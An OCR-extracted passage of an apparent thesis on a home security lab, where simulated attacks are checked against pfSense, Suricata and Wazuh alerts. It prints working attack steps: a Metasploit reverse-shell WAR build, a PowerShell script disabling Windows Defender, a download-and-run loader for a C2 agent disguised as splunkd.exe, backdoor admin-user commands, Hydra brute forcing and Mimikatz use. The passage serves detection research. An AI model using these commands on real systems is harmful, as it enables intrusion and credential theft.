-->
<Manager sessionAttributeValueClassNameFilter="java\.lang\.(?:Boolean|Integer|Lo
</Context>

Figure 98: Java Runtime Environment WebApps Configuration

After this change tomcat will be accessible remotely at port 8080 (by default), but a user must be
specified which can be done by adding the following line in the tomcat-users.xml (Figure 99).

<user username="admin" password="password” roles="manager-gui"/>

Figure 99: Tomcat User Addition Configuration

Next, restarting tomcat will cause the manager page to be reachable even remotely (Figure
100:).

G A Not secure 192.168.4.2:3080/manager/htm A b, ] o= % "
Tomcat Web Application Manager
|Message: |0K
nager
ist Applications HTML Manager Help Manager Help | N Server Status

Applications

Path Version Display Name Running |Sessions |Commands
Start | Stop || Reload Undeploy |

None specified |Welcome to Tomcat true 0 ———— —

| Expire sessions |with idle 2 [30 | minutes
Start | Stop || Reload | | Undeploy |

Figure 100: Tomcat Web Application Manager Page

5.3.2 Attack Simulation

To be able to attack, the creation of an external (virtual) machine is needed either on the same
hypervisor or externally. There are many operating systems that offer a plethora of tools, either
pre-installed or available for optional installation. Due to the variety and span of already available
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tools packaged in a pre-installed image, the attack machine of choice is Kali Linux [64] (Figure
101).

Figure 101: Kali Linux Console

Reconnaissance

Using Kali Linux Kali Linux [64] connected to the external WAN network, network scanning can
be performed using Nmap Nmap [65]. Nmap [65] can detect if any service is running and is directly
exposed to the outside network, by checking if the ports on the public IP of the firewall are open,
filtered or closed.

Scanning from outside using Nmap [65] can take some time depending on the type of scan, so it
is advised to output the results from it to be written into a file for later review. In this case, Nmap
[65] is scanning all the ports on the target IP using TCP Sync which means that the scan is going
to take a lot of time (Figure 102).

~

full_scan 192.168.30.20

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 13:13 EDT

Figure 102: Nmap Full Scanning

While scanning is in progress, it is immediately apparent to the Wazuh [26] monitoring system
that one IP is triggering firewall blocks on the WAN interface. That means that these types of
scans are easily identified because the default interval between the port checks is not within the
normal traffic range (Figure 103).
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Aug 27, 2024 @
20:21:16.454

Table JSON Rule

@timestamp
_d

agentid
agentip
agent.name
data action
data.dstip
data dstport
data id

data length
data protocol
data.srcip
data srcport

decoder name

full_log

location

manager.name

T1110
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Credential Access Multiple pfSense firewall blocks events from same source. 10 87702

2024-08-27TT17:21:16.454Z
4qnblJEBUDIMtNIZNp_T
007

192.168.30.17

logenllector

black

192,168.30.20

26103

1000000103

top
92.168.30.141

515618

17:21:15,831062+00:00 pfSense.cyber.mg fiterlog[29813]
0, match, black in 4,0x0, 64,27552,0,DF,6,1cp,60,192.168.30.141,192.168.30.20,51518,26103

1201708638,,32120, mss;sackOK; TS nopwscale

Iog
Mvarflog/messages

wazuh

Figure 103: Wazuh Nmap Related Generated Event

To intentionally expose a service to the outside network, a firewall port forward rule is created that
forwards a WAN interface port directly to the XAMPP server (Figure 104).

Firewall /

Interface

24 WAN

Source Address  Source Ports  Dest. Address  Dest. Ports NATIP NAT Ports  Description

= WAN address 8080 192.168.4.2  BO(HTTP)  XAMPP Port Forward

F Ad ] Add [ Delete @ Toggle [ Save -

Figure 104: PfSense Port 8080 Port Forwarding Rule

This will be identified by the Nmap [65] scanner running on the Kali Linux [64]attacking machine
and will also be reachable via browser (Figure 105).

B Login :: Damn Vulnerak:

O A 192.168.30.20

Kali Linux @ KaliTools = KaliDocs X Kali Forums X Kali NetHunter = Exploit-DB % Google Hacking DB % OffSec

DVWA)

Login

Figure 105: Externally Accessed DVWA Login Page

The scan will eventually identify and show the opened port which in this case is port 8080. Note
that port 8080 is usually used for HTTP Proxy and it is used during the Automatic Certificate
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Management Environment (ACME) [66] which is used when an HTTPS server is issuing a web
certificate so the Certificate Authority can validate the web server’s identity. This is why Nmap [65]
declares port 8080 as http-proxy port and has nothing to do with the actual service running behind
it (Figure 106).

(0.00092s latency).
Not shown: 65534 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION

8081/tcp open http Apache Tomcat 8.5.96

|_http-title: Apache Tomcat/8.5.96

| _http-favicon: Apache Tomcat I
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10931.55 seconds

Figure 106: Nmap Full Scan on External Firewalled IP

Port Forwarding also Tomcat service to the outside network, shows up in the same manner as
the web server (Figure 107).

— 0 - = 1 192.168.30.20

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-27 15:58 EDT
Nmap scan report for 192.168.30.20

Host is up (0.00042s latency).

PORT STATE SERVICE

8080/tcp open http-proxy

8081/tcp open blackice-icecap

MAC Address: BC:24:11:95:25:B2 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.17 seconds

Figure 107: Nmap Port 8080-8081 Scan

In the event of having an attacker already inside the network, in the same network segment, the
packets might not go through the firewall, so it is completely up to the Wazuh [26] agents running
on each host to report this behavior to the monitoring service. In that case, an attacker could see
all ports of a node that are exposed to the internal network, which by no means is considered
secure (Figure 108).
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full_scan 192.168.4.2
Starting Nmap 7.94SVN ( map.org ) at 2024-08-29 13
Nmap scan report for 2

Not shown: 65527 fil ed tcp ports (no-response)
PORT STATE SERVICE VERSION
ftp FileZilla ftpd 0.9.41 beta

_ SY UNIX emulated by FileZilla
80/tcp open http Apache httpd 2.4.58 ((Win64) OpenSSL
http-title: Welcome to XAMPP
was htt / 68.4.2/dashboard/
Apache 4) OpenSSL/3.1.3 PHP/ -
ttp Apache httpd 58 ((Win64) OpenSSL 1
er: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.
come to XAMPP
4.2/dashboard/
sent time

_Not v
tls-alpn:
http/1.1
3306/tcp open mysql MySQL 5.5.5-10.4.32-MariaDB
| mysql-info:
Protocol: 10
/ersion:

1ProtocolNew, IgnoreSigpipes, Ig
ssion, Supports
ConnectWithDatabase, olumnFlag, InteractiveClient,
1d, FoundRows, SupportsMultiple ults, SupportsAuthPlugins, S
Statu Autocommit
Salt: 3
Auth Plugin Name: mysqgl_native_password
unknown
http Mi ft HTTPAPI httpd 2.0 (SSDP/UPNnP)
r-header: Micros ~HTTPAPI/2.0

Figure 108: Nmap Internal IP Full Scanning

The fact that most hosts are behind firewalls, on internal networks or even locked down intranets
does not mean that ports can be exposed without risk. Every port-service adds more attack
surface which under certain conditions can help attackers to extract data or gain control of a
system. A very good illustration of this is the Remote Desktop Server (RDP) on a Windows host,
where exposes port 3389 to the network. An attacker can see if that port is open and then try to
brute force it. Using a Kali Linux machine, hydra could be used for exploiting RDP using a
password list (Figure 109).

/home/kali
Administr r /usr/share/john/password.lst rdp 2
HC & David Maciejak - Ple o not use in military or secret service organizations, or for illegal purposes (this is nor

14:05:43

to reduce the number of parallel connections and -W 1 or -W 3 to wait between con
recover
s to 4 (

90 tries per task

[STATUS] 159. e
[STATUS] 152.00 trie

Figure 109: Hydra Remote Desktop Brute Forcing

Something like this would generate a lot of security critical logs on Wazuh [26] that would trigger
a series of alerts (Figure 110 and Figure 111).
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Security Alerts.
Time & Technique(s)
Aug 29,2024 @21:08:50678  T1078 T1531
Aug 29,2024 @21:08:49.489  T1078 T1531
Aug 29,2024 @21:08:49478  T1078 T1531

Aug 29, 2024 @ 21:08:49.476  T1

Aug 29,2024 @21:08:48.286  T1078 T1531

Aug 29, 2024 @ 21:08:48.273

Aug 29,2024 @21:08:48272  T1110

Taeticls)

Defense Evasion, Persistence, Privilege Escalation, Inital Access,
Impact

Defense Evasion, Persistence, Privilege Escalation, Initial Access,
Impact

Defense Evasion, Persistence, Privilege Escalation, Initial Access,

Impact

Defense Evasion, Persistence, Privilege Escatation, Inftial Access,
Impact

Defense Evasion, Persistence, Privilege Escatation, Initial Access,
Impact

Defense Evasion, Persistence, Privilege Escaiation, Initial Access,
Impact

Credential Access

Figure 110: Wazuh Brute Forcing Related Event

Security Alers,

Time Technigue(s)

Aug 28,2024 @ 210544038 T1110

Table JSON Rule

@timestamp
Id

agentid

agentip

agent.name

datawin eventaata authenticalionPackageName
datawin eventdata fallureReason
datawineventdata [pAddress
datawin.eventdata [pPort

datawin eventdata keyLength
datawin.evenidata.logonProcessName
datawin.evenidata.logonType
datawinevenidata processid
dalawin.evenidaa siaus

datawin eventdata subStatus

datawin eventdata subjectLogonid
datawin eventdata subjectUserSid
datawin eventdata targetUserName

data,win eventd:

rgetUserSid

datawin evenldata workstationMame

data.win.system.channel
data.win system.compuler
data.win.system.eventiD

data win.system.eventRecordiD
data win.system keywords

data win.system level

data:win system.message

Tactic(s) Description

Credential Access

2024-08-20T18:05:44.035Z
5aICNSEBUDIMIVEZM-0N
001

192.168.4.2

winadmin

NTLM

92313

182.168.4.11

o

o

NiLmSsp

3

00

0x60000060

0460000062

o0

§1-00

Administrator

8100

Ka

Securlly
DESKTOP.55L2BL.cyber.mg
4625

43832
0x8010000000000000

o

“An account faed 1o log on

Figure 111: Wazuh Brute Forcing Related Event Detailed

Description

Logon failure - Unknown user or bad password.

Logon failure - Unknown user or bad password

Logon failure - Unknown user or bad password

Logon fallure - Unknown user of bad password

Logon failure - Unknown user or bad password

Logon failure - Unknown user or bad password

Muitiple Windows logon failures.

Multiple Windows logon fallures,

Nikitas Makris

Also, because there is an HTTP exposed port (80 and 443), an attacker would also scan all the

possible paths that exist within a Web Server. Using Kali Linux [64], this is possible using Dirbuster

(Figure 112).
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File Actions Edit View Help
kali@kali: ~ x root@kali: /home/kali x

OWASP DirBuster 1.0-RC1 - Web Application Brute Forcing

File

Options  About Help

http://192.168.4.2:80/

[ Scan information]| Results - List View: Dirs: 5 Files: 3 Results - Tree View | /A Errors: 0

Testing for dirs in / 0% 0] (O
Testing for files in / with extention .php %o% 0 O
Testing for dirs in /cgi-bin/ [ 0% 1] 1
Testing for files in /cgi-bin/ with extention .php 0% 0o O [
Testing for dirs in /img/ [ 0% 0 1
Testing for files in /img/ with extention .php 0% 0] (O
Testing for dirs in ficons/ [ T il (G [~

Current speed: 32 requests/sec (Select and right click for mare options)

Average speed: (T) 81, (C) 27 requests/sec

Parse Queue Size: 9414 Current number of running threads: 10

Total Requests: 11117/2646579 Change

Time To Finish: 1 Day

00 Pause (] Stop
Starting dirffile list based brute forcing Jegi-bin/nokia.php

Figure 112: DirBuster Web Server Path Scanning

If the web server is running, there will be discoverable paths and will be enumerated by the tool,
but if the attacker goes through the firewall to enumerate all these directories, Suricata [56] can
be configured to automatically block the source host because of all those repeated requests
(Figure 113).

Aug 29,2024 @ 223280377 T11 Credential Access Muttiple pfSens om same source. 10
Table JSON  Rule
Btimestamp 32503772
id OqugnSEBUDIMIM2YWIQ
agentid 007
agentip
agent.name
block
168.30.20
data protocol tp
data srcip
decoder.nar ot
full_log 77,0,0F 6.1¢p.60,192.168.30.141 e

.60,192.168.3(

ule. description Multiple pfSense firewall blocks events from same source

Figure 113: Wazuh Firewall IP Block Related Event
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This is also as it is shown in the Suricata [56] Logs more accurately as “Information Leak”
(Figure 114).

Last 250 Alert Entries. (Most recent entries are listed first)

Date Action Pri Proto Class Src GID:SID Description

08/29/2024 Attempted Information Leak  192.168.4.2 192.168.30.141 GPL WEB_SERVER 403 Forbidden

19:52:18 (o} (o}

08/29/2024 Attempted Information Leak  192.168.4.2 192.168.30.141 GPL WEB_SERVER 403 Forbidden

19:52:18 Q Q

08/29/2024 Attempted Information Leak  192.168.4.2 192.168.30.141 GPL WEB_SERVER 403 Forbidden

19:52:17 Q Q

08/29/2024 Attempted Information Leak  192.168.4.2 192.168.30.141 GPL WEB_SERVER 403 Forbidden

19:52:17 Q Q

08/29/2024 Attempted Information Leak  192.168.4.2 192.168.30.141 GPL WEB_SERVER 403 Forbidden

19:52:17 (o} Q

08/29/2024 Attempted Information Leak  192.168.4.2 192.168.30.141 GPL WEB_SERVER 403 Forbidden

19:52:17 (o} Q@

File Actions Edi Fié"Options " Abolt ™" Help

http://192.168.30.20:8080/
© Scan Information | Results - List View: Dirs: 11 Files: 2 | Results - Tree View \ A\ Errors: 20
Testing for dirs in /

Testing for files in / with extention .php
Testing for dirs in /cgi-bin/

Testing for fil

Testing for di ° DirBuster has paused it's self as 20 consecutive errors have happened [

Testing for fil ok |
Lt

Testing for dirs 10 Ncons) %

Current speed: 7 requests/sec (Select and right click for more options)
Average speed: (T) 38, (C) 2 requests/sec

Parse Queue Sge: 0 Current number of running threads: 10
Total Requests: 35271/5293187 Change

Time To Finish: 30 Days
[

Program paused! ficons/Servers.php

Figure 115: DirBuster Halting due to Firewall Suricata Blocking
Initial Access

It is possible to trigger more alerts on every level by exploiting the Tomcat [62] service running in
port 8080. Assuming that the credentials for logging in Tomcat [62] are known or brute forced,
war files could be uploaded directly on to the server and enable many additional functionalities,
like executing commands directly from the web service (Figure 116).

WAR file to deploy

Select WAR file to upload | Browse... | No file selected.

Deploy

Figure 116: Tomcat WAR File Upload Prompt

This will enable the server to provide a different page where it allows to execute commands and
this is confirmed, since after deploying the war file a new /cmd entry will be shown (Figure 117).
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' J APACHE

Tomcat Web Application Manager

Iuessauez ‘“‘ |
'Manager |
| ist Applications HTML Manager Help J Manager Help Server 5;a;us|
Path Version Display Name Running |Sessions | Commands

Start [Stop | [Reload | | Undeploy
{ None specified Welcome to Tomeat true ']

Expire sessions | with idle = 30 minutes
(cmd None specified false 2 Start| Stop Reload | Undeploy

Start |Stop | Reload | Undeploy
idocs None specified | Tomeat Documentation true [

Expire sessions | with idle = 30 minutes

Figure 117: Tomcat Web Application Manager Page

Once deployed, it provides the command line page, but due to this being a well-known
vulnerability of Tomcat [62], Java usually is pre-configured to delete such malware ().

at org.apache.tomcat.util.compat.JreCompat.jarFileNewInstance(JreCompat.java:241)
at org.apache.catalina.webresources.AbstractSingleArchiveResourceSet.initInternal(AbstractSingleArchiveResourceSet. java:137)
.. 56 more
02-Sep-2024 10:46:54.388 INFO [http-nio-8080-exec-38] org.apache.catalina.startup.HostConfig.deployWAR Deployment of web application archive [C:\xampp\tomcat\webapps\cmd.war] has finished in
02-Sep-2024 10:46:56.532 SEVERE [http-nio-8080-exec-39] org.apache.catalina.startup.ContextConfig.beforeStart Exception fixing docBase for context [/cmd]
java.io.FileNotFoundException: C:\xampp\tomcat\webapps\cmd.war (Operation did not complete successfully because the file contains a virus or potentially unwanted software)

at java.io.FileInputStream.opend(Native Method)

at java.io.FileInputStream.open(Unknown Source)

at java.io.FileInputStream.<init>(Unknown Source)

at java.io.FilelnputStream.<init>(Unknown Source)

at sun.net.www.protocol.file.FileURLConnection.connect(Unknown Source)

at sun.net.www.protocol.file.FileURLConnection.getInputStream(Unknown Source)

at org.apache.catalina.startup.ExpandWar.expand(ExpandWar. java:92) I

at org.apache.catalina.startup.ContextConfig. fixDocBase(ContextConfig.java:616)

at org.apache.catalina.startup.ContextConfig.beforeStart(ContextConfig.java:753)

Figure 118: Java Runtime Environment Web Application Auto Protection

To get around this, windows defender needs to be turned off and a new war file can be created
using Metasploit [67] to enable remote reverse shell at once, to a pre-specified host (Figure 119).

hell_reverse_tcp LHOST=192.168.4.11 LPORT=8081 war revshell.war

: 1086 bytes

Figure 119: Metasploit Reverse Shell War File Build

Once this war file is uploaded and deployed, it will attempt to connect back to the attacking
computer providing user command line (Figure 120).

Path Version Display Name Running |Sessions |Commands
start |Stop| [Reload | |Undeploy
! None specified | Welcome to Tomcat true 0
Expire sessions | with idle = |30 minutes
flemd None specified false o Start Stop Reload  Undeploy
start [Stop | [Reload | |Undeploy
(docs None specified Tomcat Documentation true (1]
Expire sessions | with idle = |30 minutes
Start |Stop | [Reload | | Undeploy
xampl None specified  |Servlet and JSP Examples true ]
Expire sessions | with idle = 30 minutes
Start |Stop| |Reload | |Undeploy
(host-manager None specified Tomcat Host Manager Application true 1]
Expire sessions | with idle = |30 minutes
Start Stop Reload Undeploy
[manager None specified ‘Tomcat Manager Application true 3 N -
Expire sessions | with idle = 30 minutes
Start [Stop | [Reload | | Undeploy
({reyshell None specified true 2
Expire sessions with idle = 30 minutes

Figure 120: Tomcat Web Application Manager

All that is needed now is for the attacker to listen to the pre-specified port and invoke the reverse
shell command by visiting its path under Tomcat [62] server (Figure 121 and Figure 122).
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&« E O A& 192.168.30.

Kali Linux g KaliTools +« KaliDocs ¥ Kali Forums e\ Kali NetHunter

Figure 121: Web Server Reverse Shell Trigger

8081
Microsoft Windows [Version 10.0.19042.631]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\xampp>dir

dir

Volume in drive C has no label.
Volume Serial Number is A@1E-EADD

Directory of C:\xampp

08/02/2024 07:07 PM
07:07 PM e
/ 03:50 PM anonymous
07/28/2024 ©03:50 PM apache
06/07/2013 04:15 AM apache_start.bat
10/01/2019 12:13 AM apache_stop.bat
04/05/2021 09:16 AM catalina_service.|
117 AM catalina_start.ba
117 AM catalina_stop.bat
2 154 PM cgi-bin
/ 24 03:50 PM contrib
07/28/2024 150 PM 2, ctlscript.bat
07/28/2024 154 PM FileZillaFTP
03/30/2013 129 AM filezilla_setup.b.
06/07/2013 115 AM filezilla_start.bd
AM filezilla_stop.ba
PM htdocs
PM
killprocess.bat
licenses
locale

Figure 122: Reverse Shell Listening Socket Connection

It is worth noting that once the reverse shell is active, it does not generate any alerts on the
monitoring system by default, apart from the Windows Logon Events.

Adversary Emulation

Now since there is initial access, CALDERA [25] is one of the tools that can be used to upload
agents to ensure that remote access is maintained in the event of discovery of the intrusion.

Note: CALDERA [25] framework is offered as a pre-compiled package installable directly from the
command line from the Kali Linux repositories or can be built from source code from the
CALDERA [25] repository (Figure 123).

agents X operations X adversaries X abiities X

Adversary Profiles
CALDERA

Adversary Profies are coliections of ATT&CK TTPs, designed 1o reate specific effects on a host or network. Profiles can be used for offensive or defensive use cases.
Selectaprofile 1 § hrnte Do

Test 1 Adversary 1D 66673604 5418 4cid b85s 103878a3604b)

This is the fiest attempt

dihsny b AbAbesy 8 feibeido  Objective default  Ounge

Figure 123: CALDERA Web Ul
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It is clearly shown below how Windows Defender discovered that a malicious command ran in
PowerShell and instantly stopped it (Figure 124).

kali@kali: ~ X root@kall: home/kall X kali@kall:~ X

Deploy an agent

& psh Arever

Virus & threat protection

Threats found

Figure 124: Windows Defender Auto Protection

After turning off the Defender Realtime Protection of the Windows machine, the agent is deployed
and connected back to CALDERA [25] Command and Control (Figure 125).

agents X operations X

Agents
CALDERA

You must deploy at least 1 agent in order to run an operation. Groups are collections of agents so hosts can be compromised
simultaneously.

M CAMPAIGNS
<+ Deploy an agent & Configuration 1 agent Bulk Actions v

agents

abilities id group platform contact pid privilege  status last seen
adversaries (paw)

operations
wmadit DESKTOP- red windows  HTTP 5464 Elevated . 33 seconds

# PLUGINS 5SL2BL9 t ago

access
atomic

compass

Figure 125: CALDERA Deployed Agent with Administrative Privileges
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There are all kinds of agents that can be deployed on the server like a basic beacon that connects
back to the command and control only to receive remote commands (Figure 126).

a C2 channel HTTP

oup red -v

setup.

annel HTTP

Figure 126: Agent Pull and Push requests back to CALDERA

Via the remote reverse shell, any PowerShell commands are picked up by the monitoring system
(Figure 127).
PS C:\Users\Administrator\AppData\Local\Microsoft> New-LocalUser -Name Attacker -Password attack

New-LocalUser -Name Attacker -Password attack
PS C:\Users\Administrator\AppData\Local\Microsoft> [}

Figure 127: Sample Powershell Local User Creation Command

For example, in the event of an attacker creating a user the monitoring system will be triggered
as follows (Figure 128, Figure 129 and Figure 130).

PS C:\Users\Administrator\AppData\Local\Microsoft> net user attacker-admin attacker /add /expires:nev
er

net user attacker-admin attacker /fadd /expires:never

PS (:\User;iﬂdmlnistrator\AppData\Local\Microsoft> net localgroup administrators attacker-admin /add
net localgroup administrators attacker-admin /add

PS C:\Users\Administrator\AppData\Local\Microsoft> |}

Figure 128: Sample Powershell User Administration Group Addition Command

Security Alerts.

Time & Techniqueis) Tactio(s) Description Leval Rule ID

Persistence, Impact User account disabled or deleted. 8 60111

T1484 Defense Evasion, Priviege Escalation ers group changed 5 16

Persistence User account enabled or created 8 60108

Figure 129: Wazuh User and Group Related Events
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Defense Evasion, Privilege Escalation Domain users group changed.

Table JSON Rule

"Amember was removed from a security-enabled global group

Group Name o
Group Domalr DESKTOP-5SL2BL9

Figure 130: Wazuh User and Group Related Events Detailed

The automation that CALDERA [25] offers though, goes beyond just providing shell access. There
is a whole operations section which allows attackers to run a series of reconnaissance commands
after the other through profiles.

Since the customized creation of such profiles needs further research into specific system
vulnerabilities, there are a few default adversary profiles that can be used. While these profiles
are commonly used, they are also well known and are flagged before they can be executed. This
is why Windows Defender needs to be completely disabled for those attacks, so the scripts can
be executed and generate the necessary logs on Wazuh monitoring service.

To disable Windows Defender a PowerShell script like the following can be run with administrator
privileges on the target host (Figure 131).

GNU nano 8.0
et-ExecutionPolicy -List

Set-ExecutionPolicy Unrestricted —Scope CurrentUser
Set-MpPreference -DisableRealtimeMonitoring $true
sc stop WinDefend

sc config WinDefend start=disabled

Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows Defender\Features" -Name "TamperProtection" -Value ©
Set-MpPreference -DisableScanningNetworkFiles $true

. /Downloads/stopdef.psl

Set-MpPreference -DisableArchiveScanning $true
Set-MpPreference -DisableIntrusionPreventionSystem $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableBlockAtFirstSeen $true
Set-MpPreference -DisableScriptScanning $true

Figure 131: Windows Defender Disable Powershell Script
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After rebooting and verifying that Windows Defender is indeed not running, it is possible to invoke
the war file again, get shell access and run the agent. This method exploits the fact that a Tomcat
manager is exposed and runs with elevated privileges, which by extension allows any agent to
run through its shell to also have elevated privileges (Figure 132).

GNU nano 8.0 . /Downloads/ps *
$server="
System.Net.WebClient;$wc.Headers.add("platform", "windows");$wc.Headers.add("file", "sandcat.go");

$data=$wc.DownloadData($url) ;get-process | ? {$_.modules.filename -like "C:\Users\Public\splunkd.exe"} |

stop-process —f;rm —force "C:\Users\Public\splunkd.exe" -ea ignore;[io.file]::WriteAllBytes("C:\Users\Public\splunkd.exe", $data) |
Dut-Null;Start-Process —-FilePath C:\Users\Public\splunkd.exe -ArgumentList "-server $server —group red" -WindowStyle hidden

Figure 132: WAR File Powershell Invoke

After ensuring that the agent is running and active on CALDERA [25] agents page, any available
operation can be created, selectable via a drop-down list (Figure 133 and Figure 134).

Operations

CALDERA

Select an operation  sa

Figure 133: CALDERA Operations Prompt

Start New Operation

Operation name ~ PenTestl

Adversary  Alice 2.0

Factsource  basic

ADVANCED

Figure 134: CALDERA Operation Prompt

After launching the operation, CALDERA [25] starts using the connected agent to run the profiled
commands. The output of all the discovered information is under View Output for each command
or can be downloaded in a Report style (Figure 135).
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atomic i
© agents X operations X adversaries X

compass

debrief

fieldmanual & /612024 o ocal host , DESKTOP- e -
4 Al Iscover local hosts  mcazba . View Command View Output
manx EDT 5SL2BL9

sandcat

stockpile 2024 DESKTOP-

Powerkatz (Staged) mcazba View Command View Output

training 55L2BL9

©& CONFIGURATION

: Find D ) cazba DESKTOP- N P
fact sources ina Domain mcazba 5SL2BL9 View Command View Output

objectives

planners

Discover Domain A DESKTOP- = .
_ \ Cé a View Command
contacts /  Admins ©  5SL2BLY

Figure 135: CALDERA Operation Progress Page

This operation exposed to the attacker part of the network using the “Discover local hosts”
actions, which basically invokes the powerview PowerShell [68] script (Figure 136).

Output

p-pkd1fke. cyber. rng

Exit Code: 0

Standard Output

Figure 136: CALDERA Operation Result Domain Information
The action “Powerkatz” exposed to the attacker stored password hashes using Mimikatz [69]
(Figure 137).

Output

Name Value
domain.user.name cyber\administrator
domain.user.ntlm adff6ad94asdelef68bc3f3bs

domain. .shal 60f91ecd44d1a935f785bc 2 Scb@f49bc21

Exit Code: 0

Standard Output

AR mimikatz 2.2.0 (x64) #19841 Jun 16 2020 13:40:08
Figure 137: CALDERA Operation Result User Information

The action “Find Domain” provided the Domain name using nbtstat command (Figure 138).
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Qutput

LELTS

network.domain.name

Exit Code: 0

Standard Output:

Ethe
Node Ip 92 ] Scope Id: [

NetBIOS Local Name Table

Figure 138: CALDERA Operation Result Active Directory Information

The action “Discover Domain Admins”, as the name already suggests, provided the Domain
Administrator users using powerview PowerShell [68] script (Figure 139).

Output

Exit Code: 0

Standard Output:

ComputerName : desktop-5s12bl9.cyber.rng

GroupName : Administrators

MemberName : DESKTOP-5SL2BL9\Administrator

SID ¢ 5-1-5-21-1524587867-2801306698-87110166-500
IsGroup : False

IsDomain : True

ComputerName : desktop-5s12bl9.cyber.rng

GroupName : Administrators

Membe rName : DESKTOP-5SL2BL9\SystemAdmin

SID : 5-1-5-21-1524587867-2801306698-87110166-1001
IsGroup : False

IsDomain : True

Figure 139 CALDERA Operation Result Domain Administators Information

The action “Remote Host Ping” logs all reachable hosts from the Local Hosts actions and shows
them as candidates for potential lateral movement (Figure 140).

Qutput

Name Value

remote.host. fqdn desktop-5s12bl9.cyber.rng

Figure 140 CALDERA Operation Result Active Directory Host Computer Domain Name Information
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5.3.3 Comparing attacks and alerts to identify gaps

Nikitas Makris

As a result of the simulated attacks, there is a plethora of generated logs, classified under
Sysmon [70], among other groups that indicate what methods were used (Figure 141).

> Sep 5, 2024 @
s Seps, 2024 @
> Sep s, 2024 @
y Seps, 2024 @
> Sep 5, 2024 @
s Sep 5, 2024 @
> Sep 5, 2024 @
s Sep 5, 2024 @
> Sep 5, 2024 @
s Sep 6, 2024 @
s Sep 6, 2024 @
»  Sep 6, 2024 @
y Sep s, 2024 @
s Sep 6, 2024 @
y Sep s, 2024 @
s Sep 5, 2024 @
s Sep s, 2024 @
s Sep 5, 2024 @
y Sep s, 2024 @
s Sep 5, 2024 @
» Sep 5, 2024 @
s Seps, 2024 @
> Sep 5, 2024 @
s Seps, 2024 @
> Sep s, 2024 @
y Seps, 2024 @
> Sep 5, 2024 @
s Sep s, 2024 @

> Sep 5, 2024 @

16:

:15:

147.458

154,713

:54.700

157.661

157.309

:149.622

:49.100

127.450

126.700

:126.684

126.637

126.590

126.559

:126.107

123.434

:23.074

123.043

:23.029

145,595

:45.579

134,345

28.564

Scripting file created under Windows Temp or User folder

LDAP activity from Powershell process, possible remote system discovery

Executable file dropped in folder commonly used by malware

Scripting file created under Windows Temp or User folder

Windows logon success.

Windows logon success.

Process loaded taskschd.dll module. May be used to create delayed malware execution

Process loaded taskschd.dll module. May be used to create delayed maluare execution

Windows logon success.

Windows logon success.

Process loaded taskschd.dll module. May be used to create delayed maluare execution

Windows logon success.

Process loaded taskschd.dll module. May be used to create delayed maluare execution

Process loaded taskschd.dll module. May be used to create delayed malware execution

Process loaded taskschd.dll module. May be used to create delayed maluare execution

Process loaded taskschd.dll module. May be used to create delayed malware execution

Process loaded taskschd.dll module. May be used to create delayed maluare execution

Process loaded taskschd.dll module. May be used to create delayed malware execution

Process loaded taskschd.dll module. May be used to create delayed maluare execution

Software protection service scheduled successfully.

Windows logon success.

Windows logon success.

Windows logon success.

Windows logon success.

Process loaded taskschd.dll module. May be used to create delayed maluare execution

Executable file dropped in folder commonly used by malware

Possible suspicious access to Windows admin shares

Executable file dropped in Users\Public folder

Explorer process was accessed by C:\\Nindows\\System32\\WindowsPorerShell\\v1.0\\pouershell.exe, possible process injection

Figure 141: Wazuh Operation Related Generated Events

For example, a log entry related to the powerview script run by the CALDERA [25] agent, shows
all the related information along with the initiated agent (Figure 142).
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v Sep 6, 2824 @ 16:25:51.852 Scripting file created under Windows Temp or User folder

= Expanded document

Table JSON

t _index

wazuh-alerts-4.x-2024.89.06

t  agent.id ee1
t agent.ip 192.168.4.2
t agent.name winadmin

@ data.win.eventdata.
@ data.win.eventdata.
@ data.win.eventdata.
t data.win.eventdata.

A QB t  data.win.eventdata.

@ data.win.eventdata

@ data.win.eventdata.

@ data.win.eventdata.

creationUtcTime

image

processGuid

processId

rulehlame

.targetFilename

user

utcTime

t data.win.system.channel

t data.win.system.computer

t data.win.system.eventID

t  data.win.system.eventRecordID

2824-89-06 14:26:04.276

C:\\Users\\Public\\splunkd.exe

{12862c66-8e91-66db-5b01-000000081FR0}

9698

technique_id=T1859.0@1, technique_name=PowerShell

C:\\Users\\Administrator\\powerview.psl

CYBER\\Administrator

2024-09-06 14:26:04.277

Microsoft-Windows-Sysmon/Operational

DESKTOP-55L2BLY. cyber.rng

11

321287

Figure 142: Wazuh Specific Powerview Script Trace Log

Another very good example is a log entry related to the “Mimikatz [69]" PowerShell [68] script

execution (Figure 143).
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v Sep 6, 2024 @ 16:26:47.458 Scripting file created under Windows Temp or User folder

5 Expanded document

Table JSON
t _index wazuh-alerts-4.x-2024.09.06
t agent.id 001
t agent.ip 192.168.4.2

agent. name winadmin

@ data.win.eventdata.creationUtcTime 2024-09-06 14:27:00.647

m @ data.win.eventdata.image C:\\Users\\Public\\splunkd.exe
@ data.uin.eventdata.processGuid {12862c66-0e91-660b-5b01 000000001700}
t data.uin.eventdata.processd 9696
t data.win.eventdata.rulellame technique_id=T1859.001,technique_name=PowerShell
@ data.uin.eventdata.targetFilename  C:\\Users\\Administrator\\invoke-mimi.psl
@ data.win.eventdata.user CYBER\\Administrator
@ data.uin.eventdata.utcTime 2024-09-06 14:27:00.648
t data.win.system.channel Microsoft-Windows-Sysmon/Operational
t data.uin.system.computer DESKTOP-5SL2BLS. cyber.rng

data.win. system.eventID 1

Figure 143: Wazuh Specific Mimicatz Script Trace Log

The actions above showcase in an adequate way that if the logging and alerting is configured
correctly, it limits very well any infiltration from adversary behavior both outside towards inside the
network and from within the same network. Although some attacks are not known yet to the
monitoring systems, at some point attackers will have to invoke some known command that will
turn off some security feature or try to exfiltrate information outwards. At those points, the
commands to perform such actions are limited either by the underlying operating systems, the
privileges that allow execution of them or the installed applications.

Note: This is why each application, before it is installed in every computer or server, much be
thoroughly screened and checked for vulnerabilities so that its execution is safe and complies to
the organization security policies.

Based on the comparison for reconnaissance, initial access, C2 agent loading as well as the
